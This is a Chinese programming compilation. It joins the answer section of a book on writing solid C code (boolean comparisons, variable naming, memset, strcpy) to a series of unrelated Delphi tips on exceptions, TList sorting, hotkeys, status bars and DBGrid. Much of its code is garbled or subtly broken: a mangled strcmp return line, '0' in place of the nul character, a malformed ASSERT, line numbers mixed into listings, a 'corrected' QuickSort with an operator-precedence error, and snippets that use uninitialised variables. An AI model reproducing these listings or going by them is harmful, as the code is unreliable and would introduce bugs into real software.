5. if (fNewMemory(...) == FALSE)

6.

if (fNewMemory(...) != FALSE)

或更好些，

if (!fNewMemory(...))

if (fNewMemory(...))

不过底下的写法则有危险，因为它假设fNewMemory永远不会传回一个TRUE以外的非零值：

if (fNewMemory(...) == TRUE) /* 危险！ */

有条好规则要记得，永远不要将布尔值跟TRUE进行比较。

7. 如果你把wndDisplay宣告成一个window型态的整体数据结构，你就给了它一个其它窗口结构没有的性质：它是个整体数据结构。这看来只是微不足道的小地方，却可能带来不可预期的问题。例如当你要写一个窗口中所有子窗口跟它本身通通释放掉的函式时，你把函式写成这样：

8. void FreeWindowTree(window *pwndRoot)

9. {

10. if (pwndRoot != NULL)

11. {

12. window *pwnd, *pwndNext;

13.

14. ASSERT(fValidWindow(pwndRoot));

15.

16. for (pwnd = pwndRoot->pwndChild; pwnd !=

17. NULL;pwnd = pwndNext)

18. {

19. /* 在释放内存之前先取得"Next"指针的值。 */

20. pwndNext = pwnd->pwndSibling;

21. FreeWindowTree(pwnd);

22. }

23.

24. if (pwndRoot->strWndTitle != NULL)

25. FreeMemory(pwndRoot->strWndTitle);

26. FreeMemory(pwndRoot);

27. }

}

现在注意到，因为一般的窗口的指针pwndDisplay都指向一块已配置好的内存，如果你要释放每一个窗口，你可以安全把pwndDisplay传进去这个函式中。可是你不能把&wndDisplay传进去，因为这程序会试着释放wndDisplay，可是那是个整体数据结构而不可能被释放掉。要让这个程序代码能够处理&wndDisplay, 你得加上

if (pwndRoot != &wndDisplay)

到FreeMemory(pwndRoot)的呼叫之前。如此一来，你就让程序与一个整体数据结构牵扯在一起了，有够讨厌。

要避免错误的一个最好办法就是避免写出随便设计出来的东西。

28. 第二个版本有好几个理由比第一个版本要危险。因为A, D跟运算是在第一个版本中是常见的程序代码,它们会被执行到－也因此会被测试到－不管f的值是什么。而在第二个版本中，A跟D的程序代码会被分开测试，除非它们相同，不然你就冒着遗漏其中一种情形中的错误的风险。（A跟D的程序代码在它们为B或C特别特别最佳化后不会相同的。）

在第二个版本中，你也会碰到让A跟D在程序员们修正跟增强程序时的同步问题，尤其当A跟D写得不一样时。所以，除非计算f的代价高到会让使用者注意到效率上的差异，不然就乖乖用第一个版本吧。记住这边的一条好规则：增加常见程序代码的量来降低程序代码的差异。

29. 使用相似的名称如s1跟s2是危险的，因为你容易在要打s2时误打成s1. 更糟糕的，即使你打错字了，程序编译时也完全不会碰到问题。使用相似的名称也让你在用错变量名称时更难找出错误来：

30. int strcmp(const char *s1, const char *s2)

31. {

32. for ( ; *s1 == *s2; s1++, s2++)

33. {

34. if (*s1 == '0') /* 到了字符串尾端了吗？ */

35. return (0);

36. }

37.

38. return ((a(unsigned char a)s2 < a(unsigned char

39. a)s1) ?-1 : 1);

}

上头的程序错再返回叙述中的测试反了，可是因为变量命名得没什么意义，你很难看出里头有什么错误。如果你使用具描述性而且不同的名称，像是sLeft跟sRight，打错字或是用错变量的错误机会就大大消失了，而程序也可以更具可读性。

40. ANSI标准保证你可以寻址一个宣告好了的数组后头一个字节，可是它不保证你可以参考这样的数组之前一个字节。标准中也不保证你可以参考用malloc配置得来的内存块之前一个字节。

举例来说，某些80x86内存模式中的指针是采用基底:位移的方式存放的，而只有位移值会被处理到。如果pchStart是这样子的指针，而且指向一块已配置内存的开头，它的位移量就会是0。如果你假设pch的值为pchStart+size, pch就永远不可以小于pchStart, 因为它的位移值永远不可小于pchStart的0位移－位移量再降下去也只会回卷成0xFFFF。

41. a. 使用printf(str); 而不用printf("%s", str); 会在str包含任何%字符时发生错误；printf会误将这些%字符当成格式限定字符使用。使用printf("%s", str); 的麻烦则是它可能被明显最佳化成printf(str); 粗新的程序员们有时会这样子更动程序而造成错误。

b. 用f=1-f; 代替f=!f; 的危险在于它假设f为0或1, 而!f清楚说明你只是在翻转一个旗标状态，不管f的值为何都适用。使用1-f的唯一理由是这样子可以比!f产生出稍微有效率些的程序代码，可是记住一点，区域效率上的改善很少对程序的执行效率产生什么整体影响。使用1-f的写法只会增加多出一个错误的风险。

c. 在一个叙述中使用多个指派运算的危险在于它会带来预料之外的资料型态转换。以这里的例子来说，程序员们小心地把ch宣告成int, 让它能够正确处理getchar会传回的EOF值，可是由于getchar的值先存放在一个字符串中，以致于这个结果先被转换成了字符型态，然后这个字符值－而不是本来传回的整数值－才指定给ch。这个非预期的型态转换重新带来了第五章中提到的getchar问题，尽管ch被小心的定义成了一个整数变量。

42. 一般说来，查表法可以让程序变得又小又快，也增进了程序的正确率。不过你可以从另一个角度来看待这个问题，当程序变小时，存放在表格中的资料也要占用内存，所以整体上，查表法可能会比非查表法的实作方式用掉更多内存。查表法的另一个问题是危险－你必须确定表格中的资料是正确的。有时检查表格资料的正确性很简单，像tolower跟uCyclecheckBox中的表格那样，可是在一个像第二章的反组译器中那样的大表格里头，就很容易潜藏问题。你要遵守的规则是，除非你能核对表格中的资料，不然不要用查表法。

43. 就算你的编译器不提供将乘法跟除法（在适当时）转换成位位移的最佳化，你也不用担心产生出来的程序代码执行效率不好；即使你把一个除法改用位位移来处理，程序效率也不会改善多少。不要为了一丁点编译器没最佳化好的效率问题，就去那样子改写程序。你该做的是把程序写好，换个好的编译器。

44. 要确保使用者的资料永远可以存盘，只要在使用者更动档案之前先配置好缓冲区就好了。如果每个档案都要有一个缓冲区，就将档案开启成只读状态，或是根本就不要开启档案。不果如果你处理所有开着的档案就只需要一个缓冲区，你可以在程序初始化时就将这缓冲区配置好。不要担心一直闲置这缓冲区会造成内存"浪费"的问题，至少这样的浪费保证你的使用者资料可以存盘，而不会让他或她工作了五个小时，却因为你的程序没办法配置缓冲区而存不了档。

第七章

1. 底下的程序代码改变了这函式的两个输入参数，pchTo跟pchFrom：

2. char *strcpy(char *pchTo, char *pchFrom)

3. {

4. char *pchStart = pchTo;

5.

6. while (*pchTo++ = *pchFrom++)

7. {}

8.

9. return (pchStart);

}

改变pchTo跟pchFrom不违反这些参数的写入权限，因为它们是传值参数，strcpy收到的是输入值的内容复制品，所以strcpy可以改变这些参数内容。不过并不是所有的计算机程序语言－FORTRAN就是个例子－都将参数以传值的方式传递。这做法在C语言中相当安全，不过在其它语言中可能是危险的。

10. strDigits的麻烦在于它被宣告成一个静态指针，而不是静态缓冲区，这样潜藏的差异可能在你开启允许编译器将所有字符串内容当成常数看待的选项时造成问题。有些编译器支持"常数字符串内容"的选项，将所有字符串与其它常数存放在一起，由于常数不会被改变，编译器会检查所有常数字符串，将相同的叠放在一起。换句话说，如果strFromUns跟strFromInt都宣告了指向如"?????"这样的字符串的静态指针，编译器只会配置一份－而不是两份－那个字符串。有些编译器甚至会更彻底的将吻合其它字符串尾端内容的字符串合并，像是"her"吻合"mother"末尾的三个字母。改变这种字符串的一个，就会动到另一个的内容。

将所有字符串内容视为常数并限制程序读取是个安全多了的做法。如果你要改变一个字符串，宣告一个字符缓冲区，而非一个字符串指针：

char *strFromUns(unsigned u)

{

static char strDigits[] = "?????";

不过即使这样的程序都还有危险存在，因为它依赖程序员输入正确的问号数，而且假设末尾的nul字符一定不会被毁掉，使用问号字符来保留空间也不是个好点子。字符串内容是问号还是别的东西会有影响吗？如果你不确定，你就知道为何你应该用不同的字符来保留空间了。

一个较安全的写法是宣告缓冲区的大小，然后把除错检查换成一个写入确认：

char *strFromUns(unsigned u)

{

static char strDigits[6]; /* 5位数跟一个

. '0' */

.

.

pch = &strDigits[5];

*pch = '0'; /* 取代ASSERT。 */

11. 使用memset来处理化相邻的区域变量除了特别危险，还比直接初始化变量内容要没效率：

12. i = 0; /* 将i, j跟k设定为0。 */

13. j = 0;

k = 0;

或是这样子更简单

i = j = k = 0; /* 将i, j跟k设定为0。 */

这些程序代码既有效率又具可移植性，而且显然不需要批注，使用memset的版本就相反了。

我不确定本来的程序员试图用memset来改善什么，不过我确定他或她一定得不到好结果。对初学者来说，如果不是使用最好的编译器，呼叫memset的负担也比明确清除i, j跟k要重多了。不过即使程序员用的编译器聪明到将已知填入值跟长度的小型填入内存动作在编译时期变成内含指令处理，状况也不会改善多少：程序还是假设编译器会将i, j跟k在堆栈上相邻的配置在一起，k在内存的最低地址上。程序代码也假设i, j跟k彼此相邻而没有任何"填充"字节将这些变量有效率的对齐特定内存地址。

不过谁说这些变量在堆栈框内有地方摆？好的编译器会常常作变量生命周期的分析，把区域变量在生命周期中用这些信息存放在缓存器内。i, j跟k这些区域变量在生命周期中可能都放在缓存器内，i跟j可能就一生都在缓存器中，永远不会存放在堆栈框内。变量k另一方面必须在堆栈框内存放，因为它的地址传给了memset－你没办法取得缓存器的地址。如此一来，i跟j依然是未初始化状态，而接在k后头的2*sizeof(int)个字节会被错设成0。

14. 当你呼叫或跳到机器的ROM中一个特定地址时，你面对两种风险。首先，虽然你机器中的ROM永远不变，可是在你硬件的未来机种上，ROM几乎是一定会被改过的。不过就算ROM中的长是永远不变，硬件厂商有时还是会用RAM中的常驻程序来弥补系统接口上的错误。如果你略过这些接口，你就连带的略过了这些修补错误的程序。

15. 把val当成不需要的参数而不传入的问题在于，呼叫者对DoOperation的内部运作方式作了跟FILL对CMOVE所作的一样的假设。假使程序员增强了DoOperation，并在过程中改写过程序，使val永远会被参考到：

16. void DoOperation(operation op, int val)

17. {

18. if (op < opPrimaryOps)

19. DoPrimaryOps(op, val);

20. else if (op < opFloatOps)

21. DoFloatOps(op, val);

22. else

23. .

24. .

.

那当DoOperation参考到不存在的val时，会发生什么事？视你的操作系统而定，不过大概会因为val处于堆栈框的只读区域内而使程序终止执行。

你可以强迫程序员们传入东西给没用到的变量，让他们难以在你的函式呼叫上省下这个动作。在文件中，你可以说，"当你以opNegAcc的参数呼叫DoOperation时，val参数就该为0。"一个放得好的除错检查可以让程序员忠实作到这点：

case opNegAcc:

ASSERT(val == 0); /* 传0给val。 */

accumulator = -accumulator;

break;

25. 那个除错检查核对f是不是TRUE或FALSE。这除错检查不光是不清楚，更重要的，除错码没必要这么挑剔；毕竟，这些程序代码在发行版本的程序中都会被去掉。那个除错检查最好改写成

ASSERT(f == TRUE ?? f == FALSE);

26. 不要把所有工作都挤在一行内完成。宣告个函式指针，把事情分成两行去作：

27. void *memmove(void *pvTo, void *pvFrom, size_t size)

28. {

29. void (*pfnMove)(byte *, byte *, size_t);

30. byte *pbTo = (byte *)pvTo;

31. byte *pbFrom = (byte *)pvFrom;

32.

33. pfnMove = (pbTo > pbFrom) ? tailmove : headmove;

34. (*pfnMove)(pbTo, pbFrom, size);

35.

36. return (pvTo);

}

37. 简单说，这程序代码依赖了Print程序代码的内部运作方式来呼叫Print。如果一名程序员改了Print的程序代码而不知道有其它程序代码以跳到Print进入点后四个字节的方式呼叫它，这名程序员就可能把程序改得让那样子呼叫Print的程序动弹不得。如果你发现你必须把程序写成那样子跳进一个例程中间去，那就让维护程序员们可以一眼看出这些进入点必须满足的条件：

38. move r0,#PRINTER

39. call PrintDevice

40. .

41. .

42. .

43. PrintDisplay: move r0,#DISPLAY

44. PrintDevice: ; r0 == 装置代号

45. .

46. .

.

47. 在微电脑的内存容量还很小，每个字节都还很珍贵的时候，跳进一个指令中间去执行是种常见的最佳化方式，使用这种技巧通常会省下一两个字节。不过这样子的做法不管是当时还是现在，都是不好的。如果你团队中有人还这样子写程序，礼貌的要求他们改变做法，不然就请他们离开你的小组。你不需要那样令人头痛的程序。

第八章

第八章中没有任何问题，只给了几个学习计划。


Effective Delphi

Effective Delphi

条款1：不管怎么样，请让你的Project至少user一次SysUtils.pas单元

很多使用Delphi的人都对Delphi有着这样一个抱怨：Delphi虽然开发效率高，但是其编译出来的程序却是太大。使用Delphi5新建一个Project然后直接编译，程序的Size就已经达到了286KB，而如果把同样的程序放到Delphi7下面编译的话，那么其Size更是达到了360KB。正是由于这点，所以为Delphi编译生成的应用程序“减肥”便成为了几乎所有Delphi社区的一个保留性话题。

其间，大多数人都是使用可执行文件压缩工具（比如Aspack或者Upx等）来压缩Delphi所生成的可执行文件以达到“减肥”的目的，但是也有一些人，他们使用一种更为极端，但是更有效的方式来减少Delphi编译生成的可执行文件的Size，那就是抛弃VCL所提供的编程框架，而直接使用WIN32 SDK加上Object Pascal所提供的面向对象来能来进行程序的撰写。比如以下一段程序，使用Delphi5的编译器进行编译其大小只有16KB，而写一个基本的带窗口的Window程序其大小也不会超过25KB(以下这段程序使用Delphi3编译后会更小，其原因请见下述)：

program SmallPro;

uses

Windows;

{$R *.RES}

begin

MessageBox(0, 'Hello World!', 'Information', MB_OK);

end.

请大家注意，以上程序是在project文件内直接编译，所以没有引用到其它的自定义单元。而所包含的Windows单元则只是为了调用MessageBox API函数而必须包含的。

这个编译出来的程序实在是太小了，小到它足以对那些熟悉Windows SDK方式编程，而又使用Delphi作为开发工具的人产生一定的诱惑力（我自己就算一个:->）。不知道这种方式是否同样也对你产生过诱惑力或者已经对你产生了诱惑力，如果是的话，那么先请听我一句忠告，“请为你的Project Uese上SysUtils.pas单元吧，否则你的程序将失去使用异常机制的能力，如果你不接这条忠告的话，你早晚会为你的行为任出代价。”

关于异常处理，各人的看法不同，有的人认为它是一种极美妙的错误处理方式：因为它能够使程序代码中处理错误部分的代码与实现逻辑部分的代码分离，使程序的源代码变得更优雅且撰写起来更方便和易读。而有人则认为使用异常机制来处理程序中的错误是不好的行为：因为一旦异常被触发，并且你未对其加控制的话，那么这个异常将导致应用程序终止，这种错误处理方式太过直接和粗鲁。但是，不管怎样，无庸置疑一点的是，你的程序代码可以不使用异常机制来处理错误，但是你却无法预计在你的代码当中所调用的各种库函数或者类是否使用或者支持异常机制，所以为了保证你程序的鲁棒性，即使你的代码不使用异常机制，那么你也应该在你代码的关键位置，加入异常处理的代码，以免你的代码所调用的其它代码或者操作系统抛出异常，导致程序意外的终止。下面便是一个简单的小例了：

program SmallPro;

uses

Windows,

SysUtils;

{$R *.RES}

var

p: PChar;

begin

try

p := nil;

p^ := 'l';

except

MessageBox(0, 'Exception', 'Information', MB_OK);

end;

end.

以上程序向地址空间0x00000000写一个字节的数据，在现在所有版本的Windows操作系统下面，这都将被系统视为非法操作，所以操作系统会抛出一个SHE异常，而Delphi的RTL系统会使你的程序能够栏截住这个异常并加以处理，如果你的程序没有处理这个异常的话，那么Delphi的RTL会弹出一个显示异常信息的对话框，并在你按下对话框的“确定”按钮后终止整个程序。我们上面的程序处理了这个异常，程序将在弹出MessageBox函数所显示的对话框后继续执行try…except.块后面的代码。

下面我们将上面的这个例子做一个很小的改动，将uses的SysUtils.pas单元去掉，然后再运行看看会出现什么样结果。

程序执行的结果和uses了SysUtils.pas单元的版本有着相当大的差异，程序只会显示一个如下图所示的：Runtime Error的对话框，然后便终止运行了，我们的异常处理块try..except则根本就没有起到作用。

（图1：运行时错误）

经过以上的测试，我想你已经能够明白，如果想让你的使用Delphi编译器所编译出来的程序能够支持异常机制的话，那么你就必须去在你的项目当中至少的包含的一次SysUtils.pas单元。写到此处，此条款应该可以说是功德圆满，但是我想我还是有必要带你简单的了解一下Delphi的整个异常处理机制，以便你能够对SysUtils.pas单元在整个Delphi异常机制中所占的地位有一个进一步的认识，并能够做到更好的使用它。

追根溯源，Delphi的编译器其实会向C/C++编译器一样为你的程序在链接时插入一段启动代码来使操作系统能够调用它，并启动整个应用程序（这个不是C/C++的main函数，如果你对这方面感兴趣的话，我建议你去读Jeffry Richter所著的《Programming Applications for Microsoft Windows Fourth Edition》，这本书的第4章对Processes的讲述中有相关的描述）。

对于以EXE形式存在的和以DLL形式存在的程序来说，Delphi为它们插入的启动代码的名称是不一样的，对于EXE型程序来说，Delphi会为你的程序插入其一个名称为_InitExe的过程，而对于DLL型程序来说，Delphi编译器会为你的程序插入一个名称为_InitLib的过程，你可以从SysInit.pas单元的源代码当中找到这两个过程的定义和实现。说到这里顺便提一句，System.pas和SysInit.pas两个Pascal单元是Delphi编译器在编译程序时默认包含的两个单元（你从来没有见到过哪一个程序uses过这两个单元吧）。而Delphi的每一个版本几乎都会对这两个单元进行扩展和修改，也正因为这个原因，所以在前面你看到的使用Delphi7编译的那个小程序的Size要比Delphi5编译出来的同样程序大的多。

在_InitExe过程的内部会调用一个名称为_StartExe的过程，而在这个_StartExe过程的内部中则会去调用在System.pas单元中定义的SetExceptionHandler函数来初始化整个Delphi的异常处理机制，在这个过程中设置的_ExceptionHandler过程则正是Delphi整个异常处理机制的核心处理过程。

在_ExceptionHandler会使用到System.pas单元中定义的一系列过程指针变量（比如ExceptProc，ExceptClsProc，ExceptObjProc等），这些过程指针变量都是Delphi整个异常机制当中必须的使用到的，而这些变量的初始化工作便是在SysUtils.pas单元中定义的InitExceptions单元中，InitExceptions变量会在SysUtils单元的initialization部分被调用，于是整个Delphi的异常处理机制便初始化完成。对于DLL型的程序，其异常处理过程的初始化部分与EXE型的程序一样，所以在这里就不再复述了。

好了在介绍了Delphi最核心的异常处理过程之后，我们再来介绍一下这些异常处理过程是如何被触发的。

当是一个异常被触发后，操作系统会最先拦截到这个异常。在操作系统拦截到这个异常后，它会马上调用.KiUserExceptionDispatcher函数（注1），这个函数是的Windows操作系统自身使用的异常处理函数，而在KiUserExceptionDispathcher函数调用的过程中，它会通过某种回调机制，最终去调用我们上面提到过的_ExceptionHandler过程，展开异常并处理之，如果没有找到如果被抛出异常所匹配的异常，那么则调用在SysUtils.pas中被赋值的ExceptHandler过程指针变量，抛出一个出现异常信息的话框，并在用户按下确定按钮之后终止程序。

这里面值得一的是，如果ExceptHandler过程指针变量的值为Nil,那么Delphi的RTL会去调用System.pas单元中定义的MapToRunError过程来做一个异常类型到运行时错误码的映射，并最终调用RunErrorAt过程在显示运行时错误对话框（如图1所示）终止整个程序的运行。

注1：我的操作系统是WIN2K所以KiUserExceptionDispatcher在ntdll当中，由于条件有限我没有在WIN98下做过类似的调试，不知道在WIN98下面是否也使用类似的方式来处理异常。另由于KiUserExceptionDispatcher函数微软未文档化的一个函数，所以我在这里不太方便对此函数的运作机制进行剖析（因为不同的操作系统中此函数的实现机制可能会不同），所以在这里还请您见谅。


TList的一个BUG

TList的一个BUG

TList提供Sort，其实现是QuickSort，但是在使用的时候我发现一个BUG，就是没有进行边界检查

因此，如果一个List中，所有结果的相同，进行排序的话，那么你的程序将死循环下去，或者发生异常。

其关键代码：

procedure QuickSort(SortList: PPointerList; L, R: Integer;

SCompare: TListSortCompare);

var

I, J: Integer;

P, T: Pointer;

begin

repeat

I := L;

J := R;

P := SortList^[(L + R) shr 1];

repeat

while SCompare(SortList^[I], P) < 0 do { Error }

Inc(I);

while SCompare(SortList^[J], P) > 0 do { Error }

Dec(J);

if I <= J then

begin

T := SortList^[I];

SortList^[I] := SortList^[J];

SortList^[J] := T;

Inc(I);

Dec(J);

end;

until I > J;

if L < J then

QuickSort(SortList, L, J, SCompare);

L := I;

until I >= R;

end;

procedure TList.Sort(Compare: TListSortCompare);

begin

if (FList <> nil) and (Count > 0) then

QuickSort(FList, 0, Count - 1, Compare);

end;

应该修正代码如下：

procedure QuickSort(SortList: PPointerList; L, R: Integer;

SCompare: TListSortCompare);

var

I, J: Integer;

P, T: Pointer;

begin

repeat

I := L;

J := R;

P := SortList^[(L + R) shr 1];

repeat

while (SCompare(SortList^[I], P) < 0) and (I < R) do

Inc(I);

while SCompare(SortList^[J], P) > 0 and (J > L)do

Dec(J);

if I <= J then

begin

T := SortList^[I];

SortList^[I] := SortList^[J];

SortList^[J] := T;

Inc(I);

Dec(J);

end;

until I > J;

if L < J then

QuickSort(SortList, L, J, SCompare);

L := I;

until I >= R;

end;

procedure TList.Sort(Compare: TListSortCompare);

begin

if (FList <> nil) and (Count > 1) then

QuickSort(FList, 0, Count - 1, Compare);

end;

实际上，不是BUG，主要是回调函数返回值由问题。 ：（，不过加上边界检查之后，就OK了。


THotKey控件和RegisterHotKey控件的配合使用

我想注册一系统热键，但不在设计时注册，要在运行时通过按“设置”按钮，将THotKey1

组件中用户选定的组合键（比如：Ctrl+A；或Alt+Ctrl+R）设为系统热键（用RegisterHotKey)。请问该怎么样做？急用。

下面是Kingron的回答：

unit Unit1;

{ Copyright Kingron 2002 }

interface

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, Grids, ValEdit, StdCtrls, ExtCtrls, ComCtrls;

type

TForm1 = class(TForm)

LabeledEdit1: TLabeledEdit;

HotKey1: THotKey;

Button1: TButton;

procedure Button1Click(Sender: TObject);

private

{ Private declarations }

Key,Shift:Word;

procedure wmhotkey(var Msg:TMessage);message WM_HOTKEY;

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.dfm}

uses

Menus;

function ShiftStateToWord(Shift:TShiftState):Word;

begin

if ssShift in Shift then Result :=MOD_SHIFT;

if ssCtrl in Shift then Result :=Result or MOD_CONTROL;

if ssAlt in Shift then Result:=Result or MOD_ALT;

end;

procedure TForm1.Button1Click(Sender: TObject);

var

T:TShiftState;

begin

ShortCutToKey(HotKey1.HotKey,Key,T);

Shift :=ShiftStateToWord(T);

RegisterHotKey(Handle,GlobalAddAtom('MyHotKey') - $C000,Shift,Key);

end;

procedure TForm1.wmhotkey(var Msg: TMessage);

begin

if (Msg.LparamLo = Shift) AND (Msg.LParamHi = Key) then

ShowMessage('OK');

end;

end.


hint的字体和色彩如何改变

Delphi中TApplication的属性有HintColor及HintPause。

可以通过设置HintColor改变应用程序中的Hint的颜色、通过设置HintPause

改变触发Hint的时间。

但遗憾的是：Delphi中Hint的字体不可以改变。


线程中使用M$ XML COM对象
如果在线程中创建XML COM处理对象，可能会出现错误。有两个解决方法：第一个在创建COM之前，调用CoInitiliaze，每一个线程都需要调用Co初始化函数。第二个方法：是用同步的方式调用创建Com的代码。


ToolBar的一个问题

工具栏可以被拖出来变成一个小窗口,小窗口的右上角处有一个

关闭按钮(就是"X"按钮),请问如何将这个按钮屏蔽掉(使其不显示出来),或将其变灰(使

其失效)?

在ToolBar的EndDock事件里--

procedure TForm1.ToolBar1EndDock(Sender, Target: TObject; X, Y: Integer);

var

H: THandle;

begin

H := GetParent(ToolBar1.Handle);//ToolBar在拖出来之后被“套进”另一个窗口里了

if H <> ControlBar1.Handle then begin//以下的操作都是针对这个临时的父窗口的

SetWindowLong(H, GWL_STYLE, GetWindowLong(H, GWL_STYLE) and not WS_SYSMENU);//把它的关闭按钮去掉

ShowWindow(H, SW_HIDE);//这两句是为了让它刷新，使关闭按钮马上消失

ShowWindow(H, SW_SHOW);//如果没有这两句，必须移动一下或者调整一下大小才行

end;

end;


在TButton中显示多行Caption

procedure TForm1.Button1Click(Sender: TObject);

begin

SetCaption(button1,'第一行','第二行',form1.Color);

end;

procedure TForm1.SetCaption(AButton: TButton; ACaption1,

ACaption2: string;color:TColor);

var

dc:Hdc;

info:tagsize;

begin

AButton.Caption:='';

dc:=GetDC(AButton.Handle);

SetBKColor(dc,Color);

SetBkMode(dc, TRANSPARENT);

GetTextExtentPoint32(dc,pchar(ACaption1),length(ACaption1),info);

Textout(dc,AButton.Width div 2-info.cx div 2,AButton.Height div 2-info.cy,pchar(ACaption1),length(ACaption1));

GetTextExtentPoint32(dc,pchar(ACaption2),length(ACaption2),info);

TextOut(dc,AButton.width div 2-info.cx div 2,AButton.Height div 2,pchar(ACaption2),length(ACaption2));

end;


DBNavigate控件加Caption

zswang：

procedure TForm1.FormCreate(Sender: TObject);

var

I: Integer;

begin

TNavButton(Components[I]).Layout :=blGlyphTop;

with DBNavigator1 do for I := 0 to ComponentCount - 1 do

if Components[I] is TNavButton then begin

case TNavButton(Components[I]).Index of

nbFirst: TNavButton(Components[I]).Caption := '首笔';

nbPrior: TNavButton(Components[I]).Caption := '上笔';

nbNext: TNavButton(Components[I]).Caption := '下笔';

nbLast: TNavButton(Components[I]).Caption := '末笔';

nbInsert: TNavButton(Components[I]).Caption := '新增';

nbDelete: TNavButton(Components[I]).Caption := '删除';

nbEdit: TNavButton(Components[I]).Caption := '修改';

nbPost: TNavButton(Components[I]).Caption := '存档';

nbCancel: TNavButton(Components[I]).Caption := '取消';

nbRefresh: TNavButton(Components[I]).Caption := '刷新';

end;

end;

end;


多行Caption的按钮、CheckBox等

如何设置一个按钮用有多行Caption？

procedure TForm1.Button1Click(Sender: TObject);

var

i: Integer;

begin

i := GetWindowLong(Button1.Handle, GWL_STYLE);

SetWindowLong(Button1.Handle, GWL_STYLE, i or BS_MULTILINE);

Button1.Caption := 'Line1' + #13#10 + 'Line2';

end;

改成CheckBox等一样可以。


label的颜色控制

var

SetCap:boolean=false;

OldColor:tcolor;

//在label的OnMouserMove中

if setcap= false then

begin

oldcolor:=label1.font.Color;

label1.Font.Color:=clred;

SetCapturecontrol(label1);

setcap:=true;

end

else

begin

label1.Font.Color:=oldcolor;

SetCapturecontrol(nil);

setcap:=false;

end;


在TStatusBar中检测面板双击

下面的代码，展示了如何在一个包含多个panel的状态栏中检测其中某个Panel受到鼠标双击。别忘了在单元的uses部分加上对CommCtrl的引用。

procedure TMainForm.StatusBar1DblClick(Sender: TObject);

var MouseCor : TPoint;

PanelRect: TRect;

lp0 : integer;

SB : TStatusBar;

begin

if Assigned(sender) then

begin

if Sender is TStatusBar then

begin

GetCursorPos(MouseCor);

SB := TStatusBar(Sender);

for lp0 := 0 to SB.Panels.Count-1 do

begin

SendMessage(SB.Handle, SB_GETRECT, lp0, Integer(@PanelRect));

if PtInRect(PanelRect,SB.ScreenToClient(MouseCor)) then begin

// 在这里添加处理代码

// SB.Panels[lp0]被点击

break;

end;

end;

end;

end;

end;


状态栏的提示功能

状态栏的提示功能

要在Delphi中实现在状态栏上的自动提示，又没有太“苛刻”的条件时，我们没有必要再像以前一样，先定义一个过程（ShowMyHint(...)），然后在程序初始化的地方把她赋值给TApplication的OnHin事件。因为只需将状态条的AutoHint属性设为True即可！当然，她似乎只能在第一个Panel上显示（这就是没有太“苛刻”的条件时）。

口水：Kingron以前还真的没有注意到这一点！以前都是写代码来实现的。：（，不过写代码有写代码的好处。例如下面的功能，用AutoHint就没有办法做到。Kingron还发现，必须在窗体上面有一个TApplicationEvents控件才可以达到这样的效果！

Application.OnHint := ShowHint;

procedure TForm1.ShowHint(Sender:TObject);

begin

if Length(Application.Hint) > 0 then

begin

StatusBar.SimplePanel := True;

StatusBar.SimpleText := Application.Hint;

end

else StatusBar.SimplePanel := False;

end;


改变ProgressBar的颜色

改变ProgressBar的颜色？

change the color of a TProgressbar?

uses

CommCtrl;

procedure TForm1.Button1Click(Sender: TObject);

begin

// Set the Background color to teal

Progressbar1.Brush.Color := clTeal;

// Set bar color to yellow

SendMessage(ProgressBar1.Handle, PBM_SETBARCOLOR, 0, clYellow);

end;

WinXP风格进度条

const

{$EXTERNALSYM PBS_MARQUEE}

PBS_MARQUEE = 08;

procedure TForm1.FormCreate(Sender: TObject);

begin

SetWindowLong(ProgressBar1.Handle, GWL_STYLE,

GetWindowLong(ProgressBar1.Handle, GWL_STYLE) or PBS_MARQUEE);

end;

//------------------------------------------------------------------------------

procedure TForm1.Button1Click(Sender: TObject);

var

i: Integer;

begin

for i := 0 to 30 do

begin

Sleep(100);

ProgressBar1.StepIt;

Application.ProcessMessages;

end;

end;


状态栏允许放入其他控件

状态栏允许放入其他控件

需要扩展一下statusbar,加一个属性就行．分归我了．

//----------------------------------------------------------------------//

//扩展StatusBar

//加入特性：允许在状态条上加入任意控件

type

TMStatusBar=Class(TStatusBar)

private

protected

public

constructor Create(AOwner: TComponent); override;

published

end;

//TMStatusBar 事件扩展

constructor TMStatusBar.Create(AOwner: TComponent);

begin

inherited Create(AOwner);

ControlStyle:= ControlStyle + [csAcceptsControls];

end;


dbgrid中移动焦点到指定的行和列

dbgrid是从TCustomGrid继承下来的，

它有col与row属性，

只不过是protected的，不能直接访问，

要处理一下，可以这样：

TDrawGrid(dbgrid1).row:=row;

TDrawGrid(dbgrid1).col:=col;

dbgrid1.setfocus;

就可以看到效果了。

1 这个方法是绝对有问题的，它会引起DBGrid内部的混乱，因为DBGrid无法定位当前纪录，如果DBGrid只读也就罢了（只读还是会出向一些问题，比如原本只能单选的纪录现在可以出现多选等等，你可以自己去试试），如果DBGrid可编辑那问题就可大了，因为当前纪录的关系，你更改的数据字段很可能不是你想象中的

2 我常用的解决办法是将上程序改为（随便设置col是安全的，没有一点问题）

Query1.first;

TDrawGrid(dbgrid1).col:=1;

dbgrid1.setfocus;

这就让焦点移到第一行第一列当中


在DELPHI中利用API实现网格内组件的嵌入

在DELPHI中利用API实现网格内组件的嵌入

--------------------------------------------------------------------------------

    Delphi中向TDBGrid添加组件是一件十分麻烦的事情。笔者在这里向大家介绍一种利用WIN32 API函数在TDBGRID中嵌入CHECKBOX组件的方法。

    TDBGrid部件是用于显示和编辑数据库表中记录信息的重要部件，它是我们在程序设计过程中要经常使用的一个强有力的工具。TDBGrid具有很多重要的属性，我们可以在程序设计阶段和程序运行过程中进行设置。TDBGrid部件中有很多重要的属性，我们在这里重点介绍Option属性和DefaultDrawing属性，其他属性及其设置方法请参看联机帮助文件。

    Options属性：它是TDBGrid部件的一个扩展属性，在程序设计阶段设置Options属性可以控制TDBGrid部件的显示特性和对事件的响应特性。

    DefalultDrawing属性：该属性是布尔型属性，它用于控制网格中各网格单元的绘制方式。在缺省情况下，该属性的值为True，也就是说Delphi使用网格本身缺省的方法绘制网格中各网格单元，并填充各网格单元中的内容，各网格单元中的数据根据其对应的字段部件的DisplayFormat属性和EidtFormat属性进行显示和绘制。如果DefaulDrawing属性被设置为False，Delphi不会自动地绘制网格中各网格单元和网格单元中的数据，用户必须自己为TDBGrid部件的OnDrawDataCell事件编写相应的程序以用于绘制各网格单元和其中的数据。

    需要注意的是，当一个布尔字段得到焦点时，TDBGrid.Options中的 gdEditing属性不能被设置成为可编辑模式。另外，TDBGrid.DefaultDrawing属性不要设置为FALSE，否则，就不能得到网格中画布属性的句柄。

